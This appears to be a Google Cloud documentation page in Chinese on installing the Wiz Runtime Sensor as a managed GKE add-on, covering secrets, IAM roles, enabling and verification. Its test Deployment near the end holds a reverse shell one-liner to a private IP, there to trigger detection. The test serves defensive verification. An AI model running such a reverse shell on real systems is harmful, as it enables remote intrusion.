在 GKE 叢集中安裝 Wiz Runtime Sensor

Wiz Runtime Sensor 是 Wiz 核心平台的元件,可為執行階段工作負載提供即時威脅偵測和應變功能。您可以將執行階段感應器安裝在 Google Kubernetes Engine (GKE) 叢集,做為代管外掛程式。本文件說明如何安裝 Runtime Sensor 外掛程式、設定 Wiz 平台存取權,以及在機構、資料夾或專案中強制安裝 Runtime Sensor。適用對象為平台管理員和安全工程師。

您應該已熟悉 Wiz 執行階段感應器。

何時使用 Runtime Sensor 外掛程式

代管外掛程式安裝方法是內建替代方案,可取代使用 Helm 資訊套件等安裝方法安裝 Runtime Sensor。Runtime Sensor 外掛程式具備下列優點:

  • GKE 會安裝元件並管理大部分的設定工作,因此與使用 Helm 圖表相比,安裝執行階段感應器的工作量和複雜度都較低。
  • 您可以使用「組織政策服務」,在整個機構、資料夾或專案中強制啟用外掛程式。
  • 這個外掛程式會在 Autopilot 叢集中執行,並與 Standard 叢集中的 Autopilot 工作負載並行運作,不需要將 Runtime Sensor 新增至允許清單。
  • 執行階段感應器元件的任何更新,都與 GKE 修補程式版本升級無關。

您也可以使用 Helm 圖表,在叢集中安裝執行階段感應器。如果使用這個方法,您就能更靈活地自訂感應器設定。不過,與使用外掛程式相比,這種方法在安裝期間需要更多手動設定,且較難大規模強制執行。如果您使用 Helm 資訊圖表安裝 Runtime Sensor,則元件不會由 GKE 管理。如果您未使用 GKE 外掛程式,請直接向 Wiz 回報 Runtime Sensor 的任何問題,例如錯誤或不相容。

運作方式

您可以使用 GKE API,在特定叢集中安裝外掛程式。 啟用外掛程式後,GKE 會建立 gke-managed-wiz 命名空間,並安裝執行階段感應器元件。GKE 需要存取 Wiz 私人 Container Registry,才能提取 Runtime Sensor 的映像檔。

安裝完成後,Runtime Sensor 必須存取 Wiz API,才能將資訊傳送至 Wiz 平台。如要授予 GKE 和執行階段感應器所需存取權,請在 gke-managed-wiz 命名空間中以祕密的形式提供下列資訊:

  • 存取 Wiz Container Registry 及提取執行階段感應器映像檔所需的憑證。
  • 執行階段感應器的設定資訊,例如 Wiz API 憑證和環境專屬變數。

您可以手動建立這些 Secret,或將資訊上傳至 Google CloudSecret Manager,系統會自動建立 Secret、定期輪替版本,並將更新內容發布至已部署的 Secret。

定價

GKE 提供 Wiz Runtime Sensor 外掛程式,無須額外付費。請注意以下事項:

  • 您必須具備有效的 Wiz Runtime Sensor 授權。詳情請參閱「Wiz 定價」。
  • Runtime Sensor 元件會在節點上執行,並耗用 CPU 和記憶體資源,因此可能需要更多節點,才能容納叢集中的所有 Pod。
  • 如果您使用 Secret Manager 儲存 Wiz 憑證和設定,則適用 Secret Manager 定價。

限制

使用外掛程式時,請注意以下限制:

  • 如果您在已部署的 Secret 中更新 Wiz 登錄檔或 API 憑證,則必須使用 kubectl rollout restart 指令,手動重新啟動 Runtime Sensor DaemonSet。
  • 如要安裝執行階段感應器,您必須將租戶的 Wiz 登錄檔憑證上傳為 Kubernetes Secret,或上傳至 Secret Manager。
  • 如果您使用私人節點,則必須使用 Cloud NAT 設定 Wiz 容器登錄檔 (registry.wiz.io) 的傳出存取權。
  • 受管理 GKE 外掛程式僅支援下列 Runtime Sensor 的選用設定參數:
    • httpProxyConfiguration.httpsProxy
    • httpProxyConfiguration.caCertificate
    • httpProxyConfiguration.clientCertificate

如要使用任何其他設定參數,請使用 Helm 資訊套件安裝 Runtime Sensor。

事前準備

開始之前,請務必先完成下列工作:

  • 啟用 Google Kubernetes Engine API。
  • 啟用 Google Kubernetes Engine API
  • 如要使用 Google Cloud CLI 執行這項工作,請安裝並初始化 gcloud CLI。如果您先前已安裝 gcloud CLI,請執行 gcloud components update 指令,取得最新版本。較舊的 gcloud CLI 版本可能不支援執行本文件中的指令。

必要的角色

如要啟用及設定 GKE 的執行階段感應器外掛程式,您必須具備 Google Cloud 專案的下列角色:

  • 設定 GKE 叢集: Google Cloud 專案的 Kubernetes Engine 叢集管理員 (roles/container.clusterAdmin)。
  • 將 API 憑證和設定檔上傳至 Secret Manager: Google Cloud 專案的 Secret Manager 編輯者 (roles/secretmanager.editor)。
  • 將 Identity and Access Management (IAM) 角色授予執行階段感應器使用的 Kubernetes ServiceAccount: Google Cloud 專案的 Secret Manager 管理員 (roles/secretmanager.admin)。
  • 設定組織政策:組織的組織政策管理員 (roles/orgpolicy.policyAdmin)。

您也必須有 Wiz 租戶的存取權,才能取得 Wiz Container Registry 的憑證,並產生 Wiz API 的 OAuth 權杖。

準備 Wiz 憑證和設定檔

如要安裝 Runtime Sensor 並將資訊傳送至 Wiz 平台,您必須提供憑證,才能存取 Wiz 私人登錄檔和 Wiz API。如要準備這項資訊,請按照下列步驟操作:

  1. 找出 registry.wiz.io 登錄檔的 Wiz Container Registry 憑證。
  2. 建立 Base64 編碼字串,內含 Kubernetes 可剖析結構中的登錄憑證:

    echo -n 'WIZ_REGISTRY_USERNAME:WIZ_REGISTRY_PASSWORD' | base64 | tr -d '\n'
    

    更改下列內容:

    • WIZ_REGISTRY_USERNAME:Wiz Container Registry 的使用者名稱。
    • WIZ_REGISTRY_PASSWORD:Wiz Container Registry 的密碼。

    輸出結果會與下列內容相似:

    aGVsbG86d29ybGQ=
    
  3. 將資訊儲存為 JSON 檔案:

    {
      "auths": {
        "registry.wiz.io": {
          "username": "WIZ_REGISTRY_USERNAME",
          "password": "WIZ_REGISTRY_PASSWORD",
          "auth": "BASE64_ENCODED_CREDENTIALS"
        }
      }
    }
    

    將 BASE64_ENCODED_CREDENTIALS 替換為上一個步驟中的編碼字串。

  4. 建立 Wiz 服務帳戶,並複製下列資訊:

    • 您也可以在 Wiz 入口網站的「服務帳戶」頁面中找到用戶端 ID。
    • 用戶端密鑰,只有在建立服務帳戶時才會顯示。
  5. 為 Runtime Sensor 建立 YAML 設定檔:

    clientId: "WIZ_CLIENT_ID"
    clientToken: "WIZ_CLIENT_SECRET"
    clientEndpoint: "WIZ_CLIENT_ENDPOINT"
    

    更改下列內容:

    • WIZ_CLIENT_ID:服務帳戶的用戶端 ID。
    • WIZ_CLIENT_TOKEN:服務帳戶的用戶端密鑰。
    • WIZ_CLIENT_ENDPOINT:要使用的權杖網址,取決於您的 Wiz 租戶。
  6. 選用:如果您使用 HTTP Proxy,可以將執行階段感應器設為使用 Proxy 伺服器。為 Proxy 建立 YAML 設定檔:

    httpsProxy: "PROXY_URL"
    caCertificate: "CA_CERTIFICATE"
    clientCertificate: "CLIENT_CERTIFICATE"
    

    更改下列內容:

    • PROXY_URL:完整的 Proxy 網址,例如 https://proxy.example.com:8080。
    • CA_CERTIFICATE:Proxy 伺服器的 PEM 格式 CA 憑證。如果您的 Proxy 伺服器未使用 TLS,請指定空白值 ("")。
    • CLIENT_CERTIFICATE:Proxy 伺服器的用戶端憑證,格式為 PEM。如果 Proxy 伺服器未使用 TLS,請指定空白值 ("")。

在 Secret Manager 中建立密鑰

本節說明如何在 Secret Manager 中儲存各種 Wiz 設定和憑證檔案。在 GKE 叢集中啟用執行階段感應器外掛程式時,您可以指定這些 Secret 的 URI。Secret Manager 會自動在 Wiz 命名空間中建立 Kubernetes Secret。更新 Secret Manager 中的值時,Kubernetes Secret 會自動重新同步,以使用新值。您可以選擇略過這個部分,並在 gke-managed-wiz 命名空間中手動建立密鑰。

如要在 Secret Manager 中建立密鑰,請按照下列步驟操作:

  1. 儲存 Wiz 登錄憑證:

    1. 建立 Secret 來儲存 Wiz 登錄檔憑證:

      gcloud secrets create wiz-image-pull-secret \
          --replication-policy="automatic" \
          --project="SECRET_PROJECT_ID"
      

      將 SECRET_PROJECT_ID 替換為要建立密鑰的專案 ID。 Google Cloud

    2. 將 Wiz 登錄檔憑證儲存在 wiz-image-pull-secret 密鑰中:

      gcloud secrets versions add wiz-image-pull-secret \
          --project="SECRET_PROJECT_ID" \
          --data-file=PATH_TO_CREDENTIALS_FILE
      

      將 PATH_TO_CREDENTIALS_FILE 替換為包含 Wiz 登錄檔憑證的 JSON 檔案路徑。

  2. 儲存 Runtime Sensor API 憑證:

    1. 建立密碼,儲存 Runtime Sensor API 憑證:

      gcloud secrets create wiz-api-key-secret \
          --replication-policy="automatic" \
          --project="SECRET_PROJECT_ID"
      
    2. 將執行階段感應器 API 憑證儲存在 wiz-api-key-secret 密鑰中:

      gcloud secrets versions add wiz-api-key-secret \
          --project="SECRET_PROJECT_ID" \
          --data-file=PATH_TO_CONFIG_FILE
      

      將 PATH_TO_CONFIG_FILE 替換為含有 Runtime Sensor API 憑證的 YAML 檔案路徑。

  3. 選用:儲存 Proxy 的設定資訊:

    1. 建立密鑰來儲存 Proxy 伺服器設定:

      gcloud secrets create wiz-sensor-proxy-secret \
          --replication-policy="automatic" \
          --project="SECRET_PROJECT_ID"
      
    2. 將 Proxy 伺服器設定儲存在 wiz-sensor-proxy-secret 密鑰中:

      gcloud secrets versions add wiz-sensor-proxy-secret \
          --project="SECRET_PROJECT_ID" \
          --data-file=PATH_TO_PROXY_FILE
      

      將 PATH_TO_PROXY_FILE 替換為包含 Proxy 設定參數的 YAML 檔案路徑。

授予 GKE Secret Manager 的存取權

如要將 Secret Manager 中的資訊同步為 Kubernetes Secret,請將您建立的 Secret 的 Secret Manager Secret Accessor (roles/secretmanager.secretAccessor) IAM 角色,授予 gke-managed-wiz 命名空間中的 wiz-sensor-secretsync-sa Kubernetes ServiceAccount。在叢集中啟用執行階段感應器外掛程式時,GKE 會建立這個 ServiceAccount,並使用 ServiceAccount 身分在命名空間中建立對應的 Secret。如果您打算手動建立 Secret,而非使用 Secret Manager,請略過本節。

請按照下列步驟授予必要角色:

  1. 找出叢集專案的專案編號:

    gcloud projects describe CLUSTER_PROJECT_ID --format='value(projectNumber)'
    

    輸出結果大致如下:1234567890。

  2. 在 wiz-image-pull-secret 密鑰上授予角色:

    gcloud secrets add-iam-policy-binding wiz-image-pull-secret \
        --project=SECRET_PROJECT_ID \
        --role="roles/secretmanager.secretAccessor" \
        --member="principal://iam.googleapis.com/projects/CLUSTER_PROJECT_NUMBER/locations/global/workloadIdentityPools/CLUSTER_PROJECT_ID.svc.id.goog/subject/ns/gke-managed-wiz/sa/wiz-sensor-secretsync-sa"
    

    更改下列內容:

    • SECRET_PROJECT_ID:Secret 所在專案的專案 ID。
    • CLUSTER_PROJECT_NUMBER:叢集專案的專案編號。
    • CLUSTER_PROJECT_ID:叢集專案的專案 ID。
  3. 授予 wiz-api-key-secret 密鑰的角色:

    gcloud secrets add-iam-policy-binding wiz-api-key-secret \
        --project=SECRET_PROJECT_ID \
        --role="roles/secretmanager.secretAccessor" \
        --member="principal://iam.googleapis.com/projects/CLUSTER_PROJECT_NUMBER/locations/global/workloadIdentityPools/CLUSTER_PROJECT_ID.svc.id.goog/subject/ns/gke-managed-wiz/sa/wiz-sensor-secretsync-sa"
    
  4. 選用:如果您建立的 Secret 含有 HTTP Proxy 資訊,請授予 wiz-sensor-proxy-secret Secret 的角色:

    gcloud secrets add-iam-policy-binding wiz-sensor-proxy-secret \
        --project=SECRET_PROJECT_ID \
        --role="roles/secretmanager.secretAccessor" \
        --member="principal://iam.googleapis.com/projects/CLUSTER_PROJECT_NUMBER/locations/global/workloadIdentityPools/CLUSTER_PROJECT_ID.svc.id.goog/subject/ns/gke-managed-wiz/sa/wiz-sensor-secretsync-sa"
    

啟用 GKE 的執行階段感應器外掛程式

在 Secret Manager 中建立密鑰,並授予 GKE 密鑰的必要角色後,請為叢集啟用 Runtime Sensor 外掛程式。您可以在新的或現有的 Standard 或 Autopilot 叢集上啟用外掛程式。下列步驟說明如何在現有叢集中啟用外掛程式,並設定 Secret 同步。建立叢集時,也可以使用這些旗標。

  1. 為現有叢集啟用密鑰同步功能。如果您打算手動建立 Secret,而不是使用 Secret Manager,請略過這個步驟。

    gcloud container clusters update CLUSTER_NAME \
        --project=CLUSTER_PROJECT_ID \
        --location=CONTROL_PLANE_LOCATION \
        --enable-secret-sync --enable-secret-sync-rotation
    

    更改下列內容:

    • CLUSTER_NAME:叢集名稱。
    • CLUSTER_PROJECT_ID:叢集專案的專案 ID。
    • CONTROL_PLANE_LOCATION:叢集的控制層位置。
  2. 執行下列其中一個指令,啟用外掛程式。如果您打算手動建立 Secret,而不是使用 Secret Manager,請只在這些指令中指定 --addons 旗標。

    • 啟用外掛程式,但不設定 HTTP Proxy:

      gcloud container clusters update CLUSTER_NAME \
          --project=CLUSTER_PROJECT_ID \
          --location=CONTROL_PLANE_LOCATION \
          --update-addons=WizSensor=ENABLED \
          --wiz-sensor-registry-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-image-pull-secret/versions/latest \
          --wiz-sensor-api-key-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-api-key-secret/versions/latest
      
    • 啟用外掛程式並設定 HTTP Proxy:

      gcloud container clusters update CLUSTER_NAME \
          --project=CLUSTER_PROJECT_ID \
          --location=CONTROL_PLANE_LOCATION \
          --update-addons=WizSensor=ENABLED \
          --wiz-sensor-registry-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-image-pull-secret/versions/latest \
          --wiz-sensor-api-key-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-api-key-secret/versions/latest \
          --wiz-sensor-proxy-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-sensor-proxy-secret/versions/latest
      

驗證安裝

如要確認外掛程式是否已安裝,請按照下列步驟操作:

  1. 取得憑證,在叢集中執行 kubectl 指令:

    gcloud container clusters get-credentials CLUSTER_NAME \
        --location=CONTROL_PLANE_LOCATION \
        --project=CLUSTER_PROJECT_ID
    
  2. 檢查 gke-managed-wiz 命名空間是否存在:

    kubectl get namespace gke-managed-wiz
    

    輸出結果會與下列內容相似:

    NAME              STATUS   AGE
    gke-managed-wiz   Active   76s
    
  3. 檢查命名空間中是否存在 Secret Manager 自訂資源:

    kubectl get secretproviderclass --namespace=gke-managed-wiz
    kubectl get secretsync --namespace=gke-managed-wiz
    

    輸出結果會與下列內容相似:

    NAME                          AGE
    wiz-sensor-secrets-provider   76s
    wiz-sensor-apikey             76s
    wiz-sensor-imagepullkey       75s
    wiz-sensor-proxy              76s
    
  4. 檢查 Kubernetes Secret 是否存在:

    kubectl get secrets --namespace=gke-managed-wiz
    

    輸出結果會與下列內容相似:

    NAME                      TYPE                              DATA   AGE
    wiz-sensor-apikey         Opaque                            3      76s
    wiz-sensor-imagepullkey   kubernetes.io/dockerconfigjson    1      75s
    
  5. 檢查 Runtime Sensor DaemonSet 的狀態:

    kubectl get daemonset --namespace=gke-managed-wiz
    

    輸出結果會與下列內容相似:

    NAME        DESIRED   CURRENT   READY   UP-TO-DATE   AVAILABLE   NODE SELECTOR   AGE
    wiz-sensor  1         1         1       1            1           <none>          76s
    

    這項輸出內容表示執行階段感應器已準備就緒,可供使用。

  6. 查看執行階段感應器 Pod 的啟動和連線記錄:

    kubectl logs -n gke-managed-wiz daemonset/wiz-sensor --tail=100
    

    輸出結果會與下列內容相似:

    {"fields":{"defs_commit":"","defs_version":"0.0.0","message":"version","sensor_version":"1.0.12402 (CMT_6dda526 2026-09-11T15:51:34-04:00)"},"level":"INFO","timestamp":"2026-09-24T17:06:32.982+00:00"}
    {"fields":{"message":"starting content update"},"level":"INFO","timestamp":"2026-09-24T17:06:33.304+00:00"}
    {"fields":{"message":"ending content update - new content downloaded"},"level":"INFO","timestamp":"2026-09-24T17:06:34.215+00:00"}
    {"fields":{"defs_commit":"4cf39a653","defs_version":"1.0.6125","message":"version","sensor_version":"1.0.12402 (CMT_6dda526 2026-09-11T15:51:34-04:00)"},"level":"INFO","timestamp":"2026-09-24T17:06:34.372+00:00"}
    {"fields":{"env":{"ALLOWED_CONTROLLER_API_GROUPS":"[\"\",\"apps\",\"batch\",\"argoproj.io\",\"sparkoperator.k8s.io\",\"ray.io\",\"tekton.dev\",\"composer.cloud.google.com\",\"kafka.strimzi.io\",\"actions.github.com\"]","ALLOW_KUBELET_COMMUNICATION":"false","BACKEND_ENV":"prod","CRI_SOCKET_CUSTOM_PATH":"","HELM_CHART_COMPAT_VER":"1","HELM_CHART_VERSION":"1.0.11492","HTTP_PROXY_URL":"","JSON":"true","LOG_FILE":"/wiz-sensor-store/sensor.log","RAMFS_STORE":"/tmp/","SENSOR_CLUSTER_NAME":"CLUSTER_NAME","STDOUT_LOG":"error","TMP_STORE":"/wiz-sensor-store/"},"hash":"daa946af4dd7eb728495e752bb35399749ad2c2c","message":"Wiz Sensor env config"},"level":"INFO","timestamp":"2026-09-24T17:09:24.844+00:00"}
    {"fields":{"defs_commit":"4cf39a653","defs_version":"1.0.6125","message":"version","sensor_version":"1.0.12402 (CMT_6dda526 2026-09-11T15:51:34-04:00)"},"level":"INFO","timestamp":"2026-09-24T17:09:25.249+00:00"}
    {"fields":{"major":6,"message":"kernel version","minor":12,"patch":94},"level":"INFO","timestamp":"2026-09-24T17:09:25.277+00:00"}
    {"fields":{"delay":{"nanos":0,"secs":0},"message":"sensor start delay secs","range":0},"level":"INFO","timestamp":"2026-09-24T17:09:34.994+00:00"}
    

部署測試工作負載

如要檢查與 Wiz 入口網站的連線是否正常運作,請按照下列步驟操作:

  1. 將下列 Deployment 資訊清單儲存為 YAML 檔案:

    apiVersion: apps/v1
    kind: Deployment
    metadata:
      name: demo-nginx
      namespace: default
    spec:
      replicas: 1
      selector:
        matchLabels:
          app: demo-nginx
      template:
        metadata:
          labels:
            app: demo-nginx
        spec:
          containers:
          - name: nginx
            image: nginx:1.15.6
            command: ["/bin/bash", "-c"]
            args:
            - |
              # Trigger background reverse shell attempt
              (timeout 5 bash -i >& /dev/tcp/10.0.0.1/4444 0>&1) &
              # Trigger image drift file modification
              touch /usr/bin/malicious_test_file
              # Start Nginx
              exec nginx -g "daemon off;"
            ports:
            - containerPort: 80
    

    這個 Deployment 會建立 Pod,模擬反向殼層攻擊。

  2. 建立 Deployment:

    kubectl apply -f PATH_TO_MANIFEST
    

    將 PATH_TO_MANIFEST 替換為 Deployment 資訊清單檔案的路徑。

  3. 在 Wiz 入口網站中,前往「Threats」(威脅) 頁面。

  4. 在威脅表格中,找出反向殼層嘗試的威脅發現項目。

使用組織政策強制安裝外掛程式

您可以使用組織政策,在組織、資料夾或專案的多個叢集中,強制安裝執行階段感應器外掛程式。建立具有下列屬性的自訂限制:

  • 資源:container.googleapis.com/Cluster
  • 條件:resource.addonsConfig.wizSensor.enabled == false
  • 動作:DENY

如要進一步瞭解如何設定具有這些屬性的自訂限制,請參閱「使用自訂組織政策限制對 GKE 資源執行的動作」。

後續步驟